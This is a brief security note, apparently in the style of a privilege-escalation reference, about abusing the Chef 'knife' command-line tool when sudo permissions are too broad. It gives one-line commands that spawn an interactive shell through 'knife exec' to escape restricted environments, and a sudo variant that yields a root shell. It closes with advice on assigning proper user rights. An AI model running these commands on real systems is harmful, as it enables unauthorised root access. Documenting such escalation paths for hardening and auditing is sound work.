knife is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server.
This program can be abused, if improper permissions are given
1. Check user sudo permissions
- sudo -l
It can be used to break out from restricted environments by spawning an interactive system shell.
- knife exec -E 'exec "/bin/sh"'
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
- sudo knife exec -E 'exec "/bin/sh"'
Assign proper rights to users, by following general user management procedures